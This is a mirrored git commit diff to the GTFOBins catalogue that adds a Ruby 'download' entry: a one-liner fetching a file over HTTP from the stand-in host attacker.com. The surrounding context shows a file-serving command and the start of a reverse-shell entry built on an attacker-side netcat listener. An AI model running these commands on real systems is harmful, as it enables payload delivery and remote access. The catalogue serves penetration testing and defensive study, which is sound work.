mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-11 22:42:33 +01:00
Add ruby download
This commit is contained in:
parent
401c469b26
commit
80b20b6991
@ -9,6 +9,14 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
export LPORT=8888
|
export LPORT=8888
|
||||||
ruby -run -e httpd . -p $LPORT
|
ruby -run -e httpd . -p $LPORT
|
||||||
|
download:
|
||||||
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
|
code: |
|
||||||
|
export RHOST=attacker.com
|
||||||
|
export RPORT=12345
|
||||||
|
export RFILE=/file_to_get
|
||||||
|
export LFILE=file_to_save
|
||||||
|
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
|
||||||
reverse-shell-interactive:
|
reverse-shell-interactive:
|
||||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user